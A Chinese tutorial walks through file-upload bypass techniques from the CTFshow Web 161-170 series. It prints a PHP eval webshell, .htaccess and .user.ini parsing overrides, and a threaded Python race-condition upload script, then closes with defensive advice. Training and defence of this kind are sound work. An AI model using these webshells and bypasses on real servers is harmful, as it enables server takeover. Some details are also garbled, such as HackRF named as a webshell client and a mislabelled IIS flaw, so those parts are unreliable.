1. 项目概述：从靶场到实战的文件上传漏洞深度探索

最近在带团队做内部攻防演练，发现很多新人对文件上传漏洞的理解还停留在“改个后缀名”的初级阶段，遇到稍微复杂点的校验就束手无策了。这让我想起了CTFshow平台上那个经典的Web 161-170系列，它简直就是一个文件上传漏洞的“百科全书”，把各种奇技淫巧和底层原理都串了起来。这个系列不是简单的题目堆砌，而是一个精心设计的、难度递进的实战训练营，从最基础的MIME类型绕过，一路升级到需要结合服务器配置特性、解析差异甚至条件竞争的高级利用。对于想真正吃透文件上传漏洞，理解其背后安全逻辑的Web安全从业者、CTF选手甚至是后端开发人员来说，这个系列的价值远超一般的理论教程。它逼迫你不仅要“知其然”，更要“知其所以然”——为什么这个黑名单漏了那个点？为什么这个解析器会这么处理文件？接下来，我就结合自己多次通关和教学的经验，把这个系列里蕴含的十种高级利用姿势，掰开揉碎了讲清楚，让你下次遇到类似场景时，能一眼看穿本质，快速找到突破口。

2. 核心漏洞原理与防御机制拆解

在深入那些“花式”绕过技巧之前，我们必须先夯实基础，理解文件上传功能为什么会成为漏洞，以及常规的防御手段是如何工作的。只有这样，你才能明白后续每一个绕过手法的精妙之处。

2.1 漏洞的根源：信任与控制的失衡

文件上传漏洞的本质，是应用程序对用户提交的文件内容失去了有效控制。一个理想的安全上传流程应该像机场安检：对所有行李（文件）进行严格、一致的检查，确保没有危险品（恶意代码）。但现实中，很多应用的“安检流程”存在各种漏洞。开发者通常期望用户上传的是图片、文档等静态资源，但攻击者却可以上传一个包含服务器端可执行代码（如PHP、JSP的Webshell）的文件。一旦这个文件被保存到Web服务器可访问的目录，攻击者就能通过URL直接访问它，从而在服务器上执行任意命令，获取控制权。

这个风险链条的关键节点有三个： 客户端校验 、 服务端校验 和 文件存储与访问 。绝大多数中低风险漏洞出在前两个环节的校验不严，而高级漏洞往往涉及第三个环节，利用服务器自身特性“化腐朽为神奇”。

2.2 常见的防御手段及其脆弱性

开发者们也不是毫无作为，他们设置了一系列防御关卡，但这些关卡往往可以被逐个击破。

1. 客户端校验（JavaScript校验） ：这是最弱的一环。通常通过检查文件的扩展名（如 .jpg , .png ）或MIME类型（如 image/jpeg ）来过滤。绕过方法极其简单：直接使用Burp Suite等工具拦截HTTP请求，修改 filename 或 Content-Type 字段即可。这种校验只能防君子，不能防黑客，在CTFshow的入门题中常见，用于建立基础认知。

2. 服务端扩展名黑名单/白名单 ：这是最主要、也最常出问题的防御方式。

   • 黑名单 ：禁止上传如 .php , .jsp , .asp 等危险扩展名。问题在于，名单可能不全。比如漏了 .php5 , .phtml , .phps （PHP相关）， .jspx , .jspf （JSP相关），或者在Windows环境下漏了利用文件流特性（如 test.php:.jpg ）或大小写（ TeSt.PhP ）的绕过。
   • 白名单 ：只允许上传如 .jpg , .png , .gif 等扩展名。这比黑名单安全得多，但并非无懈可击。攻击方向转向如何让服务器以非图片的方式去“解析”一个拥有图片扩展名的文件。这就是后续高级技巧的核心。

3. 服务端内容校验 ：这是更深入的一层检查。

   • MIME类型检查 ：检查HTTP请求头中的 Content-Type 。和客户端校验一样，可直接被拦截修改绕过。
   • 文件头（Magic Bytes）检查 ：检查文件内容最开始的几个字节（魔数），例如 JPEG 文件头是 FF D8 FF E0 。要绕过它，需要在Webshell代码前添加正确的文件头。
   • 图像二次渲染/重压缩 ：这是较强的防御。服务器会使用GD库或ImageMagick等库，将上传的图片真正地解析、甚至重新压缩保存。这可以清除嵌入在图片元数据（如EXIF）或像素块中的恶意代码。绕过它需要深入研究图像处理库本身的漏洞，难度较高。

4. 存储与访问控制 ：这是最后一道防线。

   • 修改存储路径 ：不将文件存在Web根目录下，或使用难以预测的随机文件名。
   • 修改文件权限 ：确保上传的文件没有执行权限。
   • 使用对象存储（OSS） ：将文件存储到静态对象存储服务，彻底分离静态资源和动态执行环境。 如果这些措施不到位，即使文件成功上传，攻击者也可能通过目录遍历、文件名爆破等方式找到并访问它。

CTFshow 161-170的挑战，正是围绕着如何突破这些层层加码的防御而展开的，尤其是聚焦在 白名单绕过 和 特殊解析利用 上。

3. 十种高级利用姿势全解析

下面，我们进入正题，结合CTFshow 161-170的题目脉络，逐一拆解这十种姿势。我会先说明这种姿势的核心思路，然后给出典型的利用方法、适用场景，并穿插我在实战和教学中的心得。

3.1 姿势一：双写后缀与大小写绕过——针对不严谨的黑名单

这通常是面对黑名单策略的第一波试探。当发现直接上传 .php 被拦截时，可以尝试：

• 双写后缀 ： shell.pphphp 。如果后端采用简单的字符串替换，将 php 替换为空，那么替换后文件名就变成了 shell.php 。关键在于观察回显，判断过滤逻辑。
• 大小写绕过 ： shell.PHp , shell.PhP 。在Windows服务器上，文件系统通常不区分大小写， shell.PHP 和 shell.php 是同一个文件。但在Linux上，这是严格区分的。这个技巧常用于判断服务器操作系统。

实操心得 ：不要盲目尝试所有组合。先上传一个正常文件，观察返回信息。如果返回了被过滤的关键字（如“php not allowed!”），那么很可能是后端检测并提示，这时可以系统性地测试替换、删除、大小写等逻辑。如果毫无提示，则可能需要结合目录扫描，看文件是否被上传但重命名了。

3.2 姿势二：点、空格与 ::$DATA 流——Windows系统的“特性”

这是针对Windows服务器特有的技巧，利用了NTFS文件系统的特性。

• 末尾加点 . 或空格 ：上传文件名为 shell.php. 或 shell.php 。Windows文件系统在存储时会自动去除末尾的点和空格，但某些不严谨的校验逻辑可能在判断时认为这不是 .php 文件而放行，最终存储下来的却是可执行的 shell.php 。
• ::$DATA 流绕过 ：上传 shell.php::$DATA 。 ::$DATA 是NTFS文件系统的数据流标识。在Web请求中，访问 shell.php 时，系统实际上会指向 shell.php::$DATA 这个默认数据流，从而执行其中的PHP代码。但有些校验程序看到 ::$DATA 可能认为这不是一个 .php 文件。

注意事项 ：这些方法高度依赖于后端校验代码的写法。在实战信息收集阶段，如果判断目标服务器是Windows（如通过报错信息、TTL值等），这些方法值得一试。但在CTF中，这往往是出题人设置的特定考点。

3.3 姿势三： .htaccess 与 .user.ini 的利用——控制解析权

这是白名单绕过中极具威力的一招，不修改上传文件本身，而是修改服务器对该目录下文件的 解析规则 。

• .htaccess （Apache） ：这是Apache服务器的目录级配置文件。如果服务器允许上传 .htaccess 文件且未对其内容做严格过滤，攻击者可以上传一个包含以下内容的 .htaccess 文件：

  AddType application/x-httpd-php .jpg
  

  这行配置告诉Apache，将本目录下所有 .jpg 文件都当作PHP程序来解析。之后，你再上传一个包含Webshell代码的 shell.jpg ，访问它时就会被执行。
• .user.ini （PHP） ：对于使用PHP-FPM或CGI模式的服务器（尤其是Nginx+PHP）， .htaccess 通常不生效。但PHP有一个类似的机制—— .user.ini 。它可以设置 auto_prepend_file 或 auto_append_file 指令。例如，上传一个 .user.ini ，内容为：

  auto_prepend_file=shell.jpg
  

  然后再上传一个内容为 <?php @eval($_POST['cmd']);?> 的 shell.jpg 。这样，当访问该目录下的任何PHP文件时，都会自动包含并执行 shell.jpg 中的代码。如果目录下存在一个正常的 index.php ，访问它即可触发Webshell。

核心要点 ：这两种方法的成功前提有两个：1. 服务器允许上传这些配置文件（通常它们本身也在黑名单里，需要找其他方法上传）；2. 服务器配置允许这些配置文件生效（ AllowOverride All 对于Apache， user_ini.filename 设置对于PHP）。在CTFshow题目中，常常会故意放开对这类配置文件的限制，作为解题的关键。

3.4 姿势四：图片马与文件头伪造——绕过内容检查

当服务器检查文件内容头（魔数）时，我们需要制作一个“图片马”。

1. 制作方法 ：在Linux下，可以使用 copy 命令（Windows）或 cat 命令（Linux）将Webshell代码附加到一个正常图片的后面。

   cat normal.jpg webshell.php > shell.jpg
   

   或者，更隐蔽地，将代码写入图片的EXIF信息等元数据中（使用 exiftool 等工具）。
2. 绕过原理 ：文件开头的魔数仍然是合法的图片格式（如 FF D8 FF E0 ），因此能通过文件头校验。如果服务器只是简单检查魔数，那么后续的PHP代码在访问时仍有可能被解析。这取决于服务器的具体配置。
3. 配合解析漏洞 ：单纯的图片马在严格环境下可能无法执行。它常常需要配合 解析漏洞 使用。例如，某些老旧版本的IIS 6.0存在目录名解析漏洞（ /xx.asp/xx.jpg 会被当作ASP执行），或者Nginx在某些错误配置下，会将 xx.jpg/xx.php 这样的路径传递给后端PHP，而PHP可能只根据最后的 .php 来解析。这时，图片马中的代码就会被激活。

3.5 姿势五：后缀名解析漏洞——服务器的“误会”

这是利用Web服务器或应用容器在解析文件路径时的歧义。

• IIS 6.0目录解析漏洞 ：如果存在 /upload/ 目录，上传文件为 shell.asp;.jpg ，IIS 6.0会将其解析为 shell.asp 并执行。这是因为分号 ; 在IIS中被视为参数分隔符，而非文件名的一部分。
• IIS 6.0分号解析漏洞 ：上传 shell.asp;.jpg ，IIS 6.0会忽略分号后的内容，直接执行 shell.asp 。
• Nginx+PHP畸形解析 ：在错误的配置下，Nginx可能将请求 /upload/shell.jpg/xxx.php 传递给后端的PHP-FPM。PHP-FPM看到请求的PATH_INFO或SCRIPT_FILENAME是 xxx.php ，但实际读取的文件路径却是 /upload/shell.jpg 。如果PHP的 cgi.fix_pathinfo 设置为1（默认值），PHP会递归查找存在的文件，并将 shell.jpg 当作PHP解析。
• Apache多后缀解析 ：如果Apache配置了 AddHandler 或 AddType ，例如 AddHandler php5-script .php ，那么文件 shell.php.xxx 可能因为 .xxx 未被识别，而向前寻找已知处理器，最终被当作 .php 文件执行。

排查技巧 ：这类漏洞多见于特定版本和特定配置。在实战中，信息收集至关重要：识别服务器类型（IIS/Apache/Nginx）、版本号、后端语言（PHP/JSP）。历史漏洞往往在未及时更新的内网系统或老旧CMS上能找到。

3.6 姿势六：竞争条件攻击（Race Condition）——打一个时间差

这是一种非常经典的逻辑漏洞，在文件上传场景中尤为突出。它的原理是：服务器在处理上传文件时，通常分为两步：1. 将临时文件保存到最终目录；2. 对保存的文件进行安全校验（如病毒扫描、内容检查）或重命名。如果这两步操作不是原子的（即不是不可分割的整体），攻击者就有机可乘。

典型攻击流程 ：

1. 编写一个Webshell文件，但内容暂时是合法的（比如一段无害的文本）。
2. 编写一个自动化脚本，持续、高速地向目标上传这个文件。
3. 在文件上传成功后、服务器进行安全检查或重命名前的 极短时间窗口内 ，立即访问这个上传的文件。此时它可能还处于“未检查”或“未重命名”的状态。
4. 一旦访问成功，脚本立即向该文件 写入真正的恶意代码 （例如，利用文件包含漏洞，或者如果Webshell本身有写文件功能）。因为文件已经存在，这次写入操作可能会覆盖原有内容。
5. 如果服务器是先保存、后检查，并且检查后发现问题会删除文件，那么攻击者就是在和检查程序赛跑，争抢在文件被删除前访问并改写它。

在CTFshow中的体现 ：题目可能会设计一个这样的场景：上传的文件会被一个后台进程在几秒后删除或重命名。解题的关键就是编写Python或多线程Burp Intruder脚本，进行并发上传和立即访问，抓住那个转瞬即逝的机会。

3.7 姿势七：利用Windows环境特性—— php.ini 与特殊字符

除了之前提到的 ::$DATA ，Windows环境下还有其他特性。

• 文件名截断 ：在旧版PHP或特定配置下，Windows对于文件名中的一些字符如 < , > , ? , * 等有特殊处理，可能导致校验时和保存时的文件名不一致。例如，上传 shell.php%00.jpg ，如果后端代码使用 $_FILES[‘file’][‘name’] 且未做处理， %00 （空字节）可能会被某些函数（如老版本的 move_uploaded_file ）截断，最终保存为 shell.php 。 注意 ：PHP 5.3.4以后已修复此问题，但在一些特定场景或其他语言中仍可能存在类似问题。
• php.ini 中的 auto_prepend_file ：如果攻击者能控制服务器上某个目录的 php.ini （几乎不可能），或者利用其他漏洞全局修改了该配置，就可以让服务器自动在所有PHP文件前包含指定文件。这比 .user.ini 的影响范围更广。但在文件上传漏洞中，这通常不是直接利用点，而是作为权限维持或扩大战果的手段。

3.8 姿势八：归档文件与压缩包处理漏洞

有些应用允许上传ZIP、RAR等压缩包，并具备在线解压功能。这里可能产生新的漏洞。

1. 压缩包内文件路径遍历 ：在打包压缩包时，可以构造包含目录遍历序列的文件名，如 ../../../../shell.php 。如果解压程序没有安全地处理压缩包内的路径，就可能将恶意文件解压到Web目录之外，甚至系统目录下。
2. 压缩包内文件类型绕过 ：服务器可能只检查压缩包本身的扩展名（如 .zip ），解压时却不对内部文件做二次校验。攻击者可以将一个 .php 文件打包进 .zip ，上传后，服务器解压，Webshell就被释放到了可访问目录。
3. 利用解压逻辑覆盖文件 ：如果解压目录已存在同名文件，解压程序是覆盖、跳过还是重命名？不同的逻辑可能导致意外结果，甚至结合竞争条件进行利用。

3.9 姿势九：前端框架与中间件特性

现代Web应用架构复杂，可能涉及多层组件，每一层都可能引入解析差异。

• WAF/网关的解析差异 ：前端可能部署了WAF（Web应用防火墙），它解析HTTP请求的方式可能与后端服务器（如Tomcat、Nginx）不同。例如，WAF可能严格按照协议解析 Content-Disposition 头，但后端Tomcat可能更宽松。攻击者可以构造畸形的、多层的请求包，使WAF识别为一个文件（如 1.jpg ），而后端Tomcat识别为另一个文件（如 shell.jsp ）。
• Spring MVC等框架的文件解析 ：Java的Spring框架在处理 MultipartFile 时，有自己的解析逻辑。历史上某些版本在特定配置下，对文件名包含特殊字符（如分号）的处理可能存在问题。需要针对具体的框架版本进行测试和研究。

3.10 姿势十：组合拳与逻辑漏洞——没有绝对的安全

最高级的利用，往往是多种技巧的结合，并辅以对业务逻辑的深刻理解。

• 案例：二次渲染+ .htaccess 绕过 ：题目先对上传的图片进行严格的二次渲染，清除所有嵌入数据。但允许上传 .htaccess 文件。攻击者可以上传一个 .htaccess ，将 .jpg 文件解析为PHP。然后，上传一个内容本身就是合法PHP代码的“图片”。这个“图片”的文件头是 GIF89a ，但后面紧跟的就是 <?php phpinfo(); ?> 。二次渲染可能无法处理这种结构异常但头部正确的“图片”，使其得以保存。最后，通过 .htaccess 的规则，这个文件被当作PHP执行。
• 案例：条件竞争+路径穿越 ：上传功能允许指定保存文件名，但校验不严，存在路径穿越漏洞（如 ../../../shell.php ）。同时，文件保存后有一个延迟删除的机制。攻击者利用竞争条件，在文件被删除前访问它，并结合路径穿越将其写入更隐蔽或更关键的目录。
• 逻辑漏洞：上传与引用分离 ：用户上传头像，上传时校验为图片。但在个人资料页面显示头像时，程序是从另一个数据库字段读取头像URL，而这个URL字段用户可控。这就导致了“存储型”的文件上传漏洞，攻击者可以将头像URL指向一个已存在于服务器上的Webshell，或者指向一个远程恶意图片（可能造成SSRF）。

4. CTFshow 161-170实战场景复现与精讲

由于无法直接访问CTFshow平台获取每一题的具体代码，我将基于常见的出题模式和上述十种姿势，重构几个典型的题目场景，并给出详细的解题思路和操作步骤。你可以将其视为一个综合性的实战演练。

4.1 场景复现一：白名单+ .user.ini 的绝杀（对应中阶题目）

题目描述 ：网站是一个简单的文件上传点，仅允许上传 .jpg , .png , .gif 文件。后端对文件内容进行了简单的文件头检查。网站根目录下有一个 index.php 。

解题思路 ：

1. 信息收集 ：上传一个正常图片，确认功能正常。尝试上传 .php 、修改MIME类型等，确认是白名单机制。查看响应头或报错信息，判断后端是PHP。
2. 关键测试 ：尝试上传 .user.ini 文件。如果也被拦截，尝试使用双写（ .user.inii ）、大小写（ .User.Ini ）或图片马形式（在图片内容前添加GIF89a头，后面跟 .user.ini 的内容）进行绕过。有时题目会故意放行这个文件。
3. 构造Payload ：
   • 先制作一个图片马 shell.jpg ，内容为： GIF89a<?=eval($_POST[‘a’]);?> 。 GIF89a 是GIF文件头，用于绕过内容检查。 <?= 是 <?php echo 的简写，同样可以执行PHP。
   • 上传 .user.ini ，内容为： auto_prepend_file=shell.jpg 。如果 .user.ini 需要绕过，则同样制作成图片马形式。
4. 触发执行 ：访问网站的 index.php 。因为 .user.ini 在当前目录（上传目录）生效，它指示PHP在执行 index.php 之前，先自动包含 shell.jpg 。由于我们通过 .user.ini 将 .jpg 文件“定义”为了被包含的文件，PHP会去读取它。当PHP读取 shell.jpg 时，虽然开头是 GIF89a ，但PHP引擎会从 <? 标签开始解析，从而执行我们的Webshell代码。
5. 连接Webshell ：使用HackRF、中国蚁剑等工具，连接 index.php 的URL，POST参数 a=system(‘whoami’); ，即可执行命令。

避坑指南 ： auto_prepend_file 指定的路径是相对于该 .user.ini 所在目录的。确保 shell.jpg 和 .user.ini 在同一目录。另外，某些PHP配置可能禁用了 auto_prepend_file 功能，需要确认环境。

4.2 场景复现二：条件竞争的艺术（对应高阶题目）

题目描述 ：上传文件后，页面会返回一个经过MD5哈希后的新文件名（如 a0c4a83c9a…jpg ）。但文件只会在服务器上存在2秒，之后便被删除。你需要获取上传文件的内容。

解题思路 ：这是一个典型的条件竞争题目。我们的目标是在文件被删除前访问到它。

1. 编写攻击脚本 ：使用Python的 threading 或 asyncio 库。

   import requests
   import threading
   import time
   
   target_url = “http://target.com/upload.php”
   file_path = “shell.php” # 内容为 <?php echo file_get_contents(‘/flag’); ?>
   
   def upload_file():
       files = {‘file’: (‘shell.php’, open(file_path, ‘rb’), ‘image/jpeg’)}
       data = {‘submit’: ‘Upload’}
       while True:
           r = requests.post(target_url, files=files, data=data)
           # 从响应中提取返回的文件名，假设在返回的HTML里
           if ‘upload/’ in r.text:
               # 简单提取，实际可能需要正则
               filename = r.text.split(‘upload/’)[1].split(‘“‘)[0]
               access_url = f“http://target.com/upload/{filename}”
               # 立即启动一个线程去访问
               t = threading.Thread(target=access_file, args=(access_url,))
               t.start()
   
   def access_file(url):
       try:
           r = requests.get(url, timeout=1)
           if r.status_code == 200 and ‘flag{‘ in r.text:
               print(‘[+] Success! Flag:’, r.text)
               # 找到flag后可以结束程序
               os._exit(0)
       except:
           pass
   
   if __name__ == ‘__main__’:
       # 启动多个上传线程
       for i in range(20):
           t = threading.Thread(target=upload_file)
           t.start()
   

2. 脚本核心逻辑 ：
   • upload_file 函数不断地上传文件。一旦从服务器响应中解析出文件访问URL，立即创建一个新线程去访问这个URL。
   • access_file 函数负责访问文件并检查返回内容中是否包含flag。
   • 通过多线程并发，极大提高在2秒时间窗口内“撞到”一次成功访问的概率。
3. 优化技巧 ：
   • 增加线程数（如50-100个），但注意不要压垮目标服务器或自己的网络。
   • 如果返回的文件名是顺序或可预测的，可以一边爆破访问，一边上传。
   • 使用更快的网络和工具，如用Go语言编写并发程序，速度更快。

4.3 场景复现三：解析漏洞的精准利用（模拟Nginx+PHP畸形配置）

题目描述 ：上传功能只允许图片，且有严格的内容校验。但网站似乎是由Nginx+PHP搭建的。

解题思路 ：怀疑存在Nginx的畸形解析漏洞。

1. 确认漏洞 ：首先上传一个纯文本文件 info.txt ，内容为 <?php phpinfo(); ?> ，将其重命名为 info.jpg 上传。如果上传成功，访问 http://target.com/upload/info.jpg ，正常情况下应该显示图片或下载txt，不会执行PHP。
2. 测试解析 ：尝试访问 http://target.com/upload/info.jpg/xxx.php 。如果配置存在漏洞，Nginx会将路径 /upload/info.jpg/xxx.php 传递给PHP-FPM。PHP-FPM看到请求的是 xxx.php ，但实际文件是 info.jpg 。由于 cgi.fix_pathinfo=1 ，PHP会递归查找存在的文件（ info.jpg ），并将其作为PHP执行。
3. 利用漏洞 ：如果步骤2成功显示了phpinfo页面，则证明漏洞存在。接下来，上传一个真正的图片马 shell.jpg （包含Webshell代码），然后访问 http://target.com/upload/shell.jpg/anything.php 即可触发Webshell。

原理深度 ：这个漏洞的关键在于Nginx的配置。一个不安全的配置示例如下：

location ~ \.php$ {
    fastcgi_pass 127.0.0.1:9000;
    include fastcgi_params;
    fastcgi_param SCRIPT_FILENAME /var/www/html$fastcgi_script_name;
}

当请求 /shell.jpg/xxx.php 时， $fastcgi_script_name 是 /shell.jpg/xxx.php ，但该文件不存在。安全的配置应该使用 $document_root$fastcgi_script_name ，并结合 try_files 指令确保文件存在，或者直接将 cgi.fix_pathinfo 设置为0。

5. 防御方案设计与开发者启示

作为攻击者，我们研究漏洞；作为防御者，我们更需要知道如何构建防线。一个健壮的文件上传功能应该遵循以下原则：

1. 使用白名单，而非黑名单 ：只允许业务必需的文件扩展名，如 [‘jpg’, ‘jpeg’, ‘png’, ‘gif’] 。校验时使用小写化后的扩展名进行比对。
2. 文件内容校验 ：
   • 检查文件头 ：读取文件前几个字节，与预期的魔数对比。
   • 进行二次渲染 ：对于图片，使用安全的图形库（如GD、ImageMagick）进行缩放、裁剪或重新保存。这能有效清除嵌入在元数据或像素块中的恶意代码。
   • 病毒扫描 ：对上传的文件进行静态病毒/恶意代码扫描。
3. 重命名与隔离存储 ：
   • 不可预测的文件名 ：使用随机字符串（如UUID）重命名上传的文件，避免被猜测。
   • 非Web可访问目录 ：将上传的文件存储在Web根目录之外。通过一个单独的文件服务或脚本来代理访问这些文件。例如，通过 /download.php?file=uuid 这样的方式来访问，在代理脚本中严格校验文件类型和权限。
   • 设置正确权限 ：上传目录禁止执行脚本（如Nginx配置 location ~* ^/uploads/.*\.(php|jsp)$ { deny all; } ），文件本身只保留读写权限。
4. 禁用危险功能 ：
   • 在PHP中，确保 php.ini 里 cgi.fix_pathinfo=0 。
   • 在Apache中，检查 httpd.conf ，确保上传目录的配置包含 php_flag engine off 。
   • 禁止上传 .htaccess , .user.ini 等配置文件。
5. 逻辑安全 ：
   • 整个上传、校验、保存流程应是原子的，或使用锁机制，防止竞争条件。
   • 对压缩包解压功能，要在安全沙箱中进行，检查压缩包内每个文件的路径和类型，防止路径穿越。
   • 前端校验只为用户体验，所有安全校验必须在后端进行。

文件上传漏洞的攻防是一场持续的战斗。CTFshow的161-170系列像一面镜子，照出了各种常见的疏忽和精巧的利用。真正掌握它，不在于记住所有的Payload，而在于理解每一层校验背后的意图和可能被绕过的方式。在实战中，保持好奇心，多问几个“如果…会怎样”，结合扎实的信息收集，你就能在看似铜墙铁壁的防御中找到那条细微的裂缝。